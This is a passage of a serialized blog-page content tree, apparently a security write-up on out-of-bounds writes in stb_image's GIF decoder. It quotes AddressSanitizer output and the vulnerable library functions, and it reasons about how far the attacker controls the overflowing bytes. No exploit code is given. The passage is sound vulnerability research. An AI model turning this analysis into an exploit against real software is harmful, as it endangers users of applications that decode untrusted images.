",{"type":23,"tag":64,"props":145704,"children":145706},{"className":145705},[],[145707],{"type":28,"value":145708},"&g->out[idx]",{"type":28,"value":145710}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":23,"tag":24,"props":145712,"children":145713},{},[145714,145716,145721],{"type":28,"value":145715},"If we comment out ",{"type":23,"tag":64,"props":145717,"children":145719},{"className":145718},[],[145720],{"type":28,"value":145665},{"type":28,"value":145722}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":23,"tag":435,"props":145724,"children":145726},{"code":145725},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[145727],{"type":23,"tag":64,"props":145728,"children":145729},{"__ignoreMap":7},[145730],{"type":28,"value":145725},{"type":23,"tag":24,"props":145732,"children":145733},{},[145734],{"type":28,"value":145735},"This corresponds to:",{"type":23,"tag":435,"props":145737,"children":145739},{"code":145738,"language":661,"meta":7,"className":14005,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[145740],{"type":23,"tag":64,"props":145741,"children":145742},{"__ignoreMap":7},[145743,145782,145789,145796,145803,145846,145877,145921,145928,145996,146036,146081,146120,146159,146198],{"type":23,"tag":481,"props":145744,"children":145745},{"class":483,"line":484},[145746,145750,145754,145758,145762,145766,145770,145774,145778],{"type":23,"tag":481,"props":145747,"children":145748},{"style":497},[145749],{"type":28,"value":48570},{"type":23,"tag":481,"props":145751,"children":145752},{"style":497},[145753],{"type":28,"value":48575},{"type":23,"tag":481,"props":145755,"children":145756},{"style":610},[145757],{"type":28,"value":145354},{"type":23,"tag":481,"props":145759,"children":145760},{"style":525},[145761],{"type":28,"value":145359},{"type":23,"tag":481,"props":145763,"children":145764},{"style":514},[145765],{"type":28,"value":2120},{"type":23,"tag":481,"props":145767,"children":145768},{"style":508},[145769],{"type":28,"value":106830},{"type":23,"tag":481,"props":145771,"children":145772},{"style":525},[145773],{"type":28,"value":145372},{"type":23,"tag":481,"props":145775,"children":145776},{"style":508},[145777],{"type":28,"value":64},{"type":23,"tag":481,"props":145779,"children":145780},{"style":525},[145781],{"type":28,"value":675},{"type":23,"tag":481,"props":145783,"children":145784},{"class":483,"line":351},[145785],{"type":23,"tag":481,"props":145786,"children":145787},{"style":525},[145788],{"type":28,"value":8366},{"type":23,"tag":481,"props":145790,"children":145791},{"class":483,"line":531},[145792],{"type":23,"tag":481,"props":145793,"children":145794},{"style":525},[145795],{"type":28,"value":145441},{"type":23,"tag":481,"props":145797,"children":145798},{"class":483,"line":567},[145799],{"type":23,"tag":481,"props":145800,"children":145801},{"emptyLinePlaceholder":15},[145802],{"type":28,"value":1210},{"type":23,"tag":481,"props":145804,"children":145805},{"class":483,"line":678},[145806,145810,145814,145818,145822,145826,145830,145834,145838,145842],{"type":23,"tag":481,"props":145807,"children":145808},{"style":525},[145809],{"type":28,"value":145517},{"type":23,"tag":481,"props":145811,"children":145812},{"style":514},[145813],{"type":28,"value":603},{"type":23,"tag":481,"props":145815,"children":145816},{"style":508},[145817],{"type":28,"value":145481},{"type":23,"tag":481,"props":145819,"children":145820},{"style":525},[145821],{"type":28,"value":11245},{"type":23,"tag":481,"props":145823,"children":145824},{"style":508},[145825],{"type":28,"value":145534},{"type":23,"tag":481,"props":145827,"children":145828},{"style":514},[145829],{"type":28,"value":6385},{"type":23,"tag":481,"props":145831,"children":145832},{"style":508},[145833],{"type":28,"value":145481},{"type":23,"tag":481,"props":145835,"children":145836},{"style":525},[145837],{"type":28,"value":11245},{"type":23,"tag":481,"props":145839,"children":145840},{"style":508},[145841],{"type":28,"value":145472},{"type":23,"tag":481,"props":145843,"children":145844},{"style":525},[145845],{"type":28,"value":145555},{"type":23,"tag":481,"props":145847,"children":145848},{"class":483,"line":784},[145849,145853,145857,145861,145865,145869,145873],{"type":23,"tag":481,"props":145850,"children":145851},{"style":525},[145852],{"type":28,"value":145563},{"type":23,"tag":481,"props":145854,"children":145855},{"style":514},[145856],{"type":28,"value":603},{"type":23,"tag":481,"props":145858,"children":145859},{"style":514},[145860],{"type":28,"value":4619},{"type":23,"tag":481,"props":145862,"children":145863},{"style":508},[145864],{"type":28,"value":106830},{"type":23,"tag":481,"props":145866,"children":145867},{"style":525},[145868],{"type":28,"value":11245},{"type":23,"tag":481,"props":145870,"children":145871},{"style":508},[145872],{"type":28,"value":116253},{"type":23,"tag":481,"props":145874,"children":145875},{"style":525},[145876],{"type":28,"value":145588},{"type":23,"tag":481,"props":145878,"children":145879},{"class":483,"line":812},[145880,145884,145888,145892,145896,145900,145904,145908,145912,145916],{"type":23,"tag":481,"props":145881,"children":145882},{"style":508},[145883],{"type":28,"value":145596},{"type":23,"tag":481,"props":145885,"children":145886},{"style":525},[145887],{"type":28,"value":11245},{"type":23,"tag":481,"props":145889,"children":145890},{"style":508},[145891],{"type":28,"value":145605},{"type":23,"tag":481,"props":145893,"children":145894},{"style":525},[145895],{"type":28,"value":145610},{"type":23,"tag":481,"props":145897,"children":145898},{"style":514},[145899],{"type":28,"value":2130},{"type":23,"tag":481,"props":145901,"children":145902},{"style":551},[145903],{"type":28,"value":9232},{"type":23,"tag":481,"props":145905,"children":145906},{"style":525},[145907],{"type":28,"value":6141},{"type":23,"tag":481,"props":145909,"children":145910},{"style":514},[145911],{"type":28,"value":603},{"type":23,"tag":481,"props":145913,"children":145914},{"style":551},[145915],{"type":28,"value":2072},{"type":23,"tag":481,"props":145917,"children":145918},{"style":525},[145919],{"type":28,"value":145920},"; \n",{"type":23,"tag":481,"props":145922,"children":145923},{"class":483,"line":825},[145924],{"type":23,"tag":481,"props":145925,"children":145926},{"emptyLinePlaceholder":15},[145927],{"type":28,"value":1210},{"type":23,"tag":481,"props":145929,"children":145930},{"class":483,"line":843},[145931,145936,145940,145944,145948,145952,145957,145961,145965,145969,145974,145979,145984,145988,145992],{"type":23,"tag":481,"props":145932,"children":145933},{"style":525},[145934],{"type":28,"value":145935}," c ",{"type":23,"tag":481,"props":145937,"children":145938},{"style":514},[145939],{"type":28,"value":603},{"type":23,"tag":481,"props":145941,"children":145942},{"style":514},[145943],{"type":28,"value":4619},{"type":23,"tag":481,"props":145945,"children":145946},{"style":508},[145947],{"type":28,"value":106830},{"type":23,"tag":481,"props":145949,"children":145950},{"style":525},[145951],{"type":28,"value":11245},{"type":23,"tag":481,"props":145953,"children":145954},{"style":508},[145955],{"type":28,"value":145956},"color_table",{"type":23,"tag":481,"props":145958,"children":145959},{"style":525},[145960],{"type":28,"value":1269},{"type":23,"tag":481,"props":145962,"children":145963},{"style":508},[145964],{"type":28,"value":106830},{"type":23,"tag":481,"props":145966,"children":145967},{"style":525},[145968],{"type":28,"value":11245},{"type":23,"tag":481,"props":145970,"children":145971},{"style":508},[145972],{"type":28,"value":145973},"codes",{"type":23,"tag":481,"props":145975,"children":145976},{"style":525},[145977],{"type":28,"value":145978},"[code].",{"type":23,"tag":481,"props":145980,"children":145981},{"style":508},[145982],{"type":28,"value":145983},"suffix",{"type":23,"tag":481,"props":145985,"children":145986},{"style":514},[145987],{"type":28,"value":7301},{"type":23,"tag":481,"props":145989,"children":145990},{"style":551},[145991],{"type":28,"value":9232},{"type":23,"tag":481,"props":145993,"children":145994},{"style":525},[145995],{"type":28,"value":29089},{"type":23,"tag":481,"props":145997,"children":145998},{"class":483,"line":864},[145999,146003,146007,146011,146015,146019,146023,146027,146032],{"type":23,"tag":481,"props":146000,"children":146001},{"style":535},[146002],{"type":28,"value":50170},{"type":23,"tag":481,"props":146004,"children":146005},{"style":525},[146006],{"type":28,"value":578},{"type":23,"tag":481,"props":146008,"children":146009},{"style":508},[146010],{"type":28,"value":661},{"type":23,"tag":481,"props":146012,"children":146013},{"style":525},[146014],{"type":28,"value":1269},{"type":23,"tag":481,"props":146016,"children":146017},{"style":551},[146018],{"type":28,"value":14788},{"type":23,"tag":481,"props":146020,"children":146021},{"style":525},[146022],{"type":28,"value":6141},{"type":23,"tag":481,"props":146024,"children":146025},{"style":514},[146026],{"type":28,"value":7947},{"type":23,"tag":481,"props":146028,"children":146029},{"style":551},[146030],{"type":28,"value":146031}," 128",{"type":23,"tag":481,"props":146033,"children":146034},{"style":525},[146035],{"type":28,"value":12292},{"type":23,"tag":481,"props":146037,"children":146038},{"class":483,"line":873},[146039,146044,146048,146052,146056,146060,146064,146068,146072,146076],{"type":23,"tag":481,"props":146040,"children":146041},{"style":508},[146042],{"type":28,"value":146043}," p",{"type":23,"tag":481,"props":146045,"children":146046},{"style":525},[146047],{"type":28,"value":1269},{"type":23,"tag":481,"props":146049,"children":146050},{"style":551},[146051],{"type":28,"value":1568},{"type":23,"tag":481,"props":146053,"children":146054},{"style":525},[146055],{"type":28,"value":6141},{"type":23,"tag":481,"props":146057,"children":146058},{"style":514},[146059],{"type":28,"value":603},{"type":23,"tag":481,"props":146061,"children":146062},{"style":508},[146063],{"type":28,"value":34963},{"type":23,"tag":481,"props":146065,"children":146066},{"style":525},[146067],{"type":28,"value":1269},{"type":23,"tag":481,"props":146069,"children":146070},{"style":551},[146071],{"type":28,"value":637},{"type":23,"tag":481,"props":146073,"children":146074},{"style":525},[146075],{"type":28,"value":53438},{"type":23,"tag":481,"props":146077,"children":146078},{"style":488},[146079],{"type":28,"value":146080}," // OOB write\n",{"type":23,"tag":481,"props":146082,"children":146083},{"class":483,"line":1125},[146084,146088,146092,146096,146100,146104,146108,146112,146116],{"type":23,"tag":481,"props":146085,"children":146086},{"style":508},[146087],{"type":28,"value":146043},{"type":23,"tag":481,"props":146089,"children":146090},{"style":525},[146091],{"type":28,"value":1269},{"type":23,"tag":481,"props":146093,"children":146094},{"style":551},[146095],{"type":28,"value":1558},{"type":23,"tag":481,"props":146097,"children":146098},{"style":525},[146099],{"type":28,"value":6141},{"type":23,"tag":481,"props":146101,"children":146102},{"style":514},[146103],{"type":28,"value":603},{"type":23,"tag":481,"props":146105,"children":146106},{"style":508},[146107],{"type":28,"value":34963},{"type":23,"tag":481,"props":146109,"children":146110},{"style":525},[146111],{"type":28,"value":1269},{"type":23,"tag":481,"props":146113,"children":146114},{"style":551},[146115],{"type":28,"value":1558},{"type":23,"tag":481,"props":146117,"children":146118},{"style":525},[146119],{"type":28,"value":29089},{"type":23,"tag":481,"props":146121,"children":146122},{"class":483,"line":1142},[146123,146127,146131,146135,146139,146143,146147,146151,146155],{"type":23,"tag":481,"props":146124,"children":146125},{"style":508},[146126],{"type":28,"value":146043},{"type":23,"tag":481,"props":146128,"children":146129},{"style":525},[146130],{"type":28,"value":1269},{"type":23,"tag":481,"props":146132,"children":146133},{"style":551},[146134],{"type":28,"value":637},{"type":23,"tag":481,"props":146136,"children":146137},{"style":525},[146138],{"type":28,"value":6141},{"type":23,"tag":481,"props":146140,"children":146141},{"style":514},[146142],{"type":28,"value":603},{"type":23,"tag":481,"props":146144,"children":146145},{"style":508},[146146],{"type":28,"value":34963},{"type":23,"tag":481,"props":146148,"children":146149},{"style":525},[146150],{"type":28,"value":1269},{"type":23,"tag":481,"props":146152,"children":146153},{"style":551},[146154],{"type":28,"value":1568},{"type":23,"tag":481,"props":146156,"children":146157},{"style":525},[146158],{"type":28,"value":29089},{"type":23,"tag":481,"props":146160,"children":146161},{"class":483,"line":1159},[146162,146166,146170,146174,146178,146182,146186,146190,146194],{"type":23,"tag":481,"props":146163,"children":146164},{"style":508},[146165],{"type":28,"value":146043},{"type":23,"tag":481,"props":146167,"children":146168},{"style":525},[146169],{"type":28,"value":1269},{"type":23,"tag":481,"props":146171,"children":146172},{"style":551},[146173],{"type":28,"value":14788},{"type":23,"tag":481,"props":146175,"children":146176},{"style":525},[146177],{"type":28,"value":6141},{"type":23,"tag":481,"props":146179,"children":146180},{"style":514},[146181],{"type":28,"value":603},{"type":23,"tag":481,"props":146183,"children":146184},{"style":508},[146185],{"type":28,"value":34963},{"type":23,"tag":481,"props":146187,"children":146188},{"style":525},[146189],{"type":28,"value":1269},{"type":23,"tag":481,"props":146191,"children":146192},{"style":551},[146193],{"type":28,"value":14788},{"type":23,"tag":481,"props":146195,"children":146196},{"style":525},[146197],{"type":28,"value":29089},{"type":23,"tag":481,"props":146199,"children":146200},{"class":483,"line":1172},[146201],{"type":23,"tag":481,"props":146202,"children":146203},{"style":525},[146204],{"type":28,"value":32265},{"type":23,"tag":24,"props":146206,"children":146207},{},[146208,146210,146215,146217,146222],{"type":28,"value":146209},"This confirms ",{"type":23,"tag":64,"props":146211,"children":146213},{"className":146212},[],[146214],{"type":28,"value":74049},{"type":28,"value":146216}," is OOB for ",{"type":23,"tag":64,"props":146218,"children":146220},{"className":146219},[],[146221],{"type":28,"value":145700},{"type":28,"value":146223}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":23,"tag":24,"props":146225,"children":146226},{},[146227,146229,146235,146237,146244],{"type":28,"value":146228},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":23,"tag":64,"props":146230,"children":146232},{"className":146231},[],[146233],{"type":28,"value":146234},"g->color_table",{"type":28,"value":146236}," is populated by ",{"type":23,"tag":190,"props":146238,"children":146241},{"href":146239,"rel":146240},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[194],[146242],{"type":28,"value":146243},"stbi__gif_parse_colortable",{"type":28,"value":287},{"type":23,"tag":435,"props":146246,"children":146248},{"code":146247,"language":661,"meta":7,"className":14005,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[146249],{"type":23,"tag":64,"props":146250,"children":146251},{"__ignoreMap":7},[146252,146272,146292,146331,146347,146359,146366,146377,146420,146454,146485,146516,146573,146580],{"type":23,"tag":481,"props":146253,"children":146254},{"class":483,"line":484},[146255,146259,146263,146268],{"type":23,"tag":481,"props":146256,"children":146257},{"style":497},[146258],{"type":28,"value":48570},{"type":23,"tag":481,"props":146260,"children":146261},{"style":497},[146262],{"type":28,"value":48575},{"type":23,"tag":481,"props":146264,"children":146265},{"style":610},[146266],{"type":28,"value":146267}," stbi__gif_parse_colortable",{"type":23,"tag":481,"props":146269,"children":146270},{"style":525},[146271],{"type":28,"value":988},{"type":23,"tag":481,"props":146273,"children":146274},{"class":483,"line":351},[146275,146280,146284,146288],{"type":23,"tag":481,"props":146276,"children":146277},{"style":525},[146278],{"type":28,"value":146279}," stbi__context ",{"type":23,"tag":481,"props":146281,"children":146282},{"style":514},[146283],{"type":28,"value":2120},{"type":23,"tag":481,"props":146285,"children":146286},{"style":508},[146287],{"type":28,"value":8137},{"type":23,"tag":481,"props":146289,"children":146290},{"style":525},[146291],{"type":28,"value":1033},{"type":23,"tag":481,"props":146293,"children":146294},{"class":483,"line":531},[146295,146300,146305,146309,146313,146317,146321,146326],{"type":23,"tag":481,"props":146296,"children":146297},{"style":525},[146298],{"type":28,"value":146299}," stbi_uc ",{"type":23,"tag":481,"props":146301,"children":146302},{"style":508},[146303],{"type":28,"value":146304},"pal",{"type":23,"tag":481,"props":146306,"children":146307},{"style":525},[146308],{"type":28,"value":1269},{"type":23,"tag":481,"props":146310,"children":146311},{"style":551},[146312],{"type":28,"value":90827},{"type":23,"tag":481,"props":146314,"children":146315},{"style":525},[146316],{"type":28,"value":46483},{"type":23,"tag":481,"props":146318,"children":146319},{"style":551},[146320],{"type":28,"value":15021},{"type":23,"tag":481,"props":146322,"children":146323},{"style":525},[146324],{"type":28,"value":146325},"],",{"type":23,"tag":481,"props":146327,"children":146328},{"style":488},[146329],{"type":28,"value":146330}," // g->color_table\n",{"type":23,"tag":481,"props":146332,"children":146333},{"class":483,"line":567},[146334,146338,146343],{"type":23,"tag":481,"props":146335,"children":146336},{"style":497},[146337],{"type":28,"value":16573},{"type":23,"tag":481,"props":146339,"children":146340},{"style":508},[146341],{"type":28,"value":146342}," num_entries",{"type":23,"tag":481,"props":146344,"children":146345},{"style":525},[146346],{"type":28,"value":1033},{"type":23,"tag":481,"props":146348,"children":146349},{"class":483,"line":678},[146350,146354],{"type":23,"tag":481,"props":146351,"children":146352},{"style":497},[146353],{"type":28,"value":16573},{"type":23,"tag":481,"props":146355,"children":146356},{"style":525},[146357],{"type":28,"value":146358}," transp\n",{"type":23,"tag":481,"props":146360,"children":146361},{"class":483,"line":784},[146362],{"type":23,"tag":481,"props":146363,"children":146364},{"style":525},[146365],{"type":28,"value":12292},{"type":23,"tag":481,"props":146367,"children":146368},{"class":483,"line":812},[146369,146373],{"type":23,"tag":481,"props":146370,"children":146371},{"style":497},[146372],{"type":28,"value":145421},{"type":23,"tag":481,"props":146374,"children":146375},{"style":525},[146376],{"type":28,"value":55491},{"type":23,"tag":481,"props":146378,"children":146379},{"class":483,"line":825},[146380,146385,146390,146394,146398,146402,146406,146411,146415],{"type":23,"tag":481,"props":146381,"children":146382},{"style":535},[146383],{"type":28,"value":146384}," for",{"type":23,"tag":481,"props":146386,"children":146387},{"style":525},[146388],{"type":28,"value":146389}," (i",{"type":23,"tag":481,"props":146391,"children":146392},{"style":514},[146393],{"type":28,"value":603},{"type":23,"tag":481,"props":146395,"children":146396},{"style":551},[146397],{"type":28,"value":1568},{"type":23,"tag":481,"props":146399,"children":146400},{"style":525},[146401],{"type":28,"value":48759},{"type":23,"tag":481,"props":146403,"children":146404},{"style":514},[146405],{"type":28,"value":3282},{"type":23,"tag":481,"props":146407,"children":146408},{"style":525},[146409],{"type":28,"value":146410}," num_entries; ",{"type":23,"tag":481,"props":146412,"children":146413},{"style":514},[146414],{"type":28,"value":48795},{"type":23,"tag":481,"props":146416,"children":146417},{"style":525},[146418],{"type":28,"value":146419},"i) {\n",{"type":23,"tag":481,"props":146421,"children":146422},{"class":483,"line":843},[146423,146428,146432,146436,146440,146444,146449],{"type":23,"tag":481,"props":146424,"children":146425},{"style":508},[146426],{"type":28,"value":146427}," pal",{"type":23,"tag":481,"props":146429,"children":146430},{"style":525},[146431],{"type":28,"value":58182},{"type":23,"tag":481,"props":146433,"children":146434},{"style":551},[146435],{"type":28,"value":637},{"type":23,"tag":481,"props":146437,"children":146438},{"style":525},[146439],{"type":28,"value":6141},{"type":23,"tag":481,"props":146441,"children":146442},{"style":514},[146443],{"type":28,"value":603},{"type":23,"tag":481,"props":146445,"children":146446},{"style":610},[146447],{"type":28,"value":146448}," stbi__get8",{"type":23,"tag":481,"props":146450,"children":146451},{"style":525},[146452],{"type":28,"value":146453},"(s);\n",{"type":23,"tag":481,"props":146455,"children":146456},{"class":483,"line":864},[146457,146461,146465,146469,146473,146477,146481],{"type":23,"tag":481,"props":146458,"children":146459},{"style":508},[146460],{"type":28,"value":146427},{"type":23,"tag":481,"props":146462,"children":146463},{"style":525},[146464],{"type":28,"value":58182},{"type":23,"tag":481,"props":146466,"children":146467},{"style":551},[146468],{"type":28,"value":1558},{"type":23,"tag":481,"props":146470,"children":146471},{"style":525},[146472],{"type":28,"value":6141},{"type":23,"tag":481,"props":146474,"children":146475},{"style":514},[146476],{"type":28,"value":603},{"type":23,"tag":481,"props":146478,"children":146479},{"style":610},[146480],{"type":28,"value":146448},{"type":23,"tag":481,"props":146482,"children":146483},{"style":525},[146484],{"type":28,"value":146453},{"type":23,"tag":481,"props":146486,"children":146487},{"class":483,"line":873},[146488,146492,146496,146500,146504,146508,146512],{"type":23,"tag":481,"props":146489,"children":146490},{"style":508},[146491],{"type":28,"value":146427},{"type":23,"tag":481,"props":146493,"children":146494},{"style":525},[146495],{"type":28,"value":58182},{"type":23,"tag":481,"props":146497,"children":146498},{"style":551},[146499],{"type":28,"value":1568},{"type":23,"tag":481,"props":146501,"children":146502},{"style":525},[146503],{"type":28,"value":6141},{"type":23,"tag":481,"props":146505,"children":146506},{"style":514},[146507],{"type":28,"value":603},{"type":23,"tag":481,"props":146509,"children":146510},{"style":610},[146511],{"type":28,"value":146448},{"type":23,"tag":481,"props":146513,"children":146514},{"style":525},[146515],{"type":28,"value":146453},{"type":23,"tag":481,"props":146517,"children":146518},{"class":483,"line":1125},[146519,146523,146527,146531,146535,146539,146544,146548,146552,146556,146560,146564,146569],{"type":23,"tag":481,"props":146520,"children":146521},{"style":508},[146522],{"type":28,"value":146427},{"type":23,"tag":481,"props":146524,"children":146525},{"style":525},[146526],{"type":28,"value":58182},{"type":23,"tag":481,"props":146528,"children":146529},{"style":551},[146530],{"type":28,"value":14788},{"type":23,"tag":481,"props":146532,"children":146533},{"style":525},[146534],{"type":28,"value":6141},{"type":23,"tag":481,"props":146536,"children":146537},{"style":514},[146538],{"type":28,"value":603},{"type":23,"tag":481,"props":146540,"children":146541},{"style":525},[146542],{"type":28,"value":146543}," transp ",{"type":23,"tag":481,"props":146545,"children":146546},{"style":514},[146547],{"type":28,"value":6055},{"type":23,"tag":481,"props":146549,"children":146550},{"style":525},[146551],{"type":28,"value":52070},{"type":23,"tag":481,"props":146553,"children":146554},{"style":514},[146555],{"type":28,"value":670},{"type":23,"tag":481,"props":146557,"children":146558},{"style":551},[146559],{"type":28,"value":554},{"type":23,"tag":481,"props":146561,"children":146562},{"style":514},[146563],{"type":28,"value":32633},{"type":23,"tag":481,"props":146565,"children":146566},{"style":551},[146567],{"type":28,"value":146568}," 255",{"type":23,"tag":481,"props":146570,"children":146571},{"style":525},[146572],{"type":28,"value":528},{"type":23,"tag":481,"props":146574,"children":146575},{"class":483,"line":1142},[146576],{"type":23,"tag":481,"props":146577,"children":146578},{"style":525},[146579],{"type":28,"value":32265},{"type":23,"tag":481,"props":146581,"children":146582},{"class":483,"line":1159},[146583],{"type":23,"tag":481,"props":146584,"children":146585},{"style":525},[146586],{"type":28,"value":1443},{"type":23,"tag":24,"props":146588,"children":146589},{},[146590,146592,146597,146598,146603,146605,146610],{"type":28,"value":146591},"The first three bytes are read from the input image, while the last byte can be either ",{"type":23,"tag":64,"props":146593,"children":146595},{"className":146594},[],[146596],{"type":28,"value":1568},{"type":28,"value":10621},{"type":23,"tag":64,"props":146599,"children":146601},{"className":146600},[],[146602],{"type":28,"value":110875},{"type":28,"value":146604},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":23,"tag":64,"props":146606,"children":146608},{"className":146607},[],[146609],{"type":28,"value":27361},{"type":28,"value":287},{"type":23,"tag":435,"props":146612,"children":146614},{"code":146613,"language":661,"meta":7,"className":14005,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[146615],{"type":23,"tag":64,"props":146616,"children":146617},{"__ignoreMap":7},[146618,146681,146720,146759,146798,146837,146876],{"type":23,"tag":481,"props":146619,"children":146620},{"class":483,"line":484},[146621,146625,146629,146633,146637,146641,146645,146649,146653,146657,146661,146665,146669,146673,146677],{"type":23,"tag":481,"props":146622,"children":146623},{"style":525},[146624],{"type":28,"value":145935},{"type":23,"tag":481,"props":146626,"children":146627},{"style":514},[146628],{"type":28,"value":603},{"type":23,"tag":481,"props":146630,"children":146631},{"style":514},[146632],{"type":28,"value":4619},{"type":23,"tag":481,"props":146634,"children":146635},{"style":525},[146636],{"type":28,"value":106830},{"type":23,"tag":481,"props":146638,"children":146639},{"style":514},[146640],{"type":28,"value":11245},{"type":23,"tag":481,"props":146642,"children":146643},{"style":508},[146644],{"type":28,"value":145956},{"type":23,"tag":481,"props":146646,"children":146647},{"style":525},[146648],{"type":28,"value":1269},{"type":23,"tag":481,"props":146650,"children":146651},{"style":508},[146652],{"type":28,"value":106830},{"type":23,"tag":481,"props":146654,"children":146655},{"style":525},[146656],{"type":28,"value":11245},{"type":23,"tag":481,"props":146658,"children":146659},{"style":508},[146660],{"type":28,"value":145973},{"type":23,"tag":481,"props":146662,"children":146663},{"style":525},[146664],{"type":28,"value":145978},{"type":23,"tag":481,"props":146666,"children":146667},{"style":508},[146668],{"type":28,"value":145983},{"type":23,"tag":481,"props":146670,"children":146671},{"style":514},[146672],{"type":28,"value":7301},{"type":23,"tag":481,"props":146674,"children":146675},{"style":551},[146676],{"type":28,"value":9232},{"type":23,"tag":481,"props":146678,"children":146679},{"style":525},[146680],{"type":28,"value":29089},{"type":23,"tag":481,"props":146682,"children":146683},{"class":483,"line":351},[146684,146688,146692,146696,146700,146704,146708,146712,146716],{"type":23,"tag":481,"props":146685,"children":146686},{"style":535},[146687],{"type":28,"value":50170},{"type":23,"tag":481,"props":146689,"children":146690},{"style":525},[146691],{"type":28,"value":578},{"type":23,"tag":481,"props":146693,"children":146694},{"style":508},[146695],{"type":28,"value":661},{"type":23,"tag":481,"props":146697,"children":146698},{"style":525},[146699],{"type":28,"value":1269},{"type":23,"tag":481,"props":146701,"children":146702},{"style":551},[146703],{"type":28,"value":14788},{"type":23,"tag":481,"props":146705,"children":146706},{"style":525},[146707],{"type":28,"value":6141},{"type":23,"tag":481,"props":146709,"children":146710},{"style":514},[146711],{"type":28,"value":7947},{"type":23,"tag":481,"props":146713,"children":146714},{"style":551},[146715],{"type":28,"value":146031},{"type":23,"tag":481,"props":146717,"children":146718},{"style":525},[146719],{"type":28,"value":12292},{"type":23,"tag":481,"props":146721,"children":146722},{"class":483,"line":531},[146723,146727,146731,146735,146739,146743,146747,146751,146755],{"type":23,"tag":481,"props":146724,"children":146725},{"style":508},[146726],{"type":28,"value":146043},{"type":23,"tag":481,"props":146728,"children":146729},{"style":525},[146730],{"type":28,"value":1269},{"type":23,"tag":481,"props":146732,"children":146733},{"style":551},[146734],{"type":28,"value":1568},{"type":23,"tag":481,"props":146736,"children":146737},{"style":525},[146738],{"type":28,"value":6141},{"type":23,"tag":481,"props":146740,"children":146741},{"style":514},[146742],{"type":28,"value":603},{"type":23,"tag":481,"props":146744,"children":146745},{"style":508},[146746],{"type":28,"value":34963},{"type":23,"tag":481,"props":146748,"children":146749},{"style":525},[146750],{"type":28,"value":1269},{"type":23,"tag":481,"props":146752,"children":146753},{"style":551},[146754],{"type":28,"value":637},{"type":23,"tag":481,"props":146756,"children":146757},{"style":525},[146758],{"type":28,"value":29089},{"type":23,"tag":481,"props":146760,"children":146761},{"class":483,"line":567},[146762,146766,146770,146774,146778,146782,146786,146790,146794],{"type":23,"tag":481,"props":146763,"children":146764},{"style":508},[146765],{"type":28,"value":146043},{"type":23,"tag":481,"props":146767,"children":146768},{"style":525},[146769],{"type":28,"value":1269},{"type":23,"tag":481,"props":146771,"children":146772},{"style":551},[146773],{"type":28,"value":1558},{"type":23,"tag":481,"props":146775,"children":146776},{"style":525},[146777],{"type":28,"value":6141},{"type":23,"tag":481,"props":146779,"children":146780},{"style":514},[146781],{"type":28,"value":603},{"type":23,"tag":481,"props":146783,"children":146784},{"style":508},[146785],{"type":28,"value":34963},{"type":23,"tag":481,"props":146787,"children":146788},{"style":525},[146789],{"type":28,"value":1269},{"type":23,"tag":481,"props":146791,"children":146792},{"style":551},[146793],{"type":28,"value":1558},{"type":23,"tag":481,"props":146795,"children":146796},{"style":525},[146797],{"type":28,"value":29089},{"type":23,"tag":481,"props":146799,"children":146800},{"class":483,"line":678},[146801,146805,146809,146813,146817,146821,146825,146829,146833],{"type":23,"tag":481,"props":146802,"children":146803},{"style":508},[146804],{"type":28,"value":146043},{"type":23,"tag":481,"props":146806,"children":146807},{"style":525},[146808],{"type":28,"value":1269},{"type":23,"tag":481,"props":146810,"children":146811},{"style":551},[146812],{"type":28,"value":637},{"type":23,"tag":481,"props":146814,"children":146815},{"style":525},[146816],{"type":28,"value":6141},{"type":23,"tag":481,"props":146818,"children":146819},{"style":514},[146820],{"type":28,"value":603},{"type":23,"tag":481,"props":146822,"children":146823},{"style":508},[146824],{"type":28,"value":34963},{"type":23,"tag":481,"props":146826,"children":146827},{"style":525},[146828],{"type":28,"value":1269},{"type":23,"tag":481,"props":146830,"children":146831},{"style":551},[146832],{"type":28,"value":1568},{"type":23,"tag":481,"props":146834,"children":146835},{"style":525},[146836],{"type":28,"value":29089},{"type":23,"tag":481,"props":146838,"children":146839},{"class":483,"line":784},[146840,146844,146848,146852,146856,146860,146864,146868,146872],{"type":23,"tag":481,"props":146841,"children":146842},{"style":508},[146843],{"type":28,"value":146043},{"type":23,"tag":481,"props":146845,"children":146846},{"style":525},[146847],{"type":28,"value":1269},{"type":23,"tag":481,"props":146849,"children":146850},{"style":551},[146851],{"type":28,"value":14788},{"type":23,"tag":481,"props":146853,"children":146854},{"style":525},[146855],{"type":28,"value":6141},{"type":23,"tag":481,"props":146857,"children":146858},{"style":514},[146859],{"type":28,"value":603},{"type":23,"tag":481,"props":146861,"children":146862},{"style":508},[146863],{"type":28,"value":34963},{"type":23,"tag":481,"props":146865,"children":146866},{"style":525},[146867],{"type":28,"value":1269},{"type":23,"tag":481,"props":146869,"children":146870},{"style":551},[146871],{"type":28,"value":14788},{"type":23,"tag":481,"props":146873,"children":146874},{"style":525},[146875],{"type":28,"value":29089},{"type":23,"tag":481,"props":146877,"children":146878},{"class":483,"line":812},[146879],{"type":23,"tag":481,"props":146880,"children":146881},{"style":525},[146882],{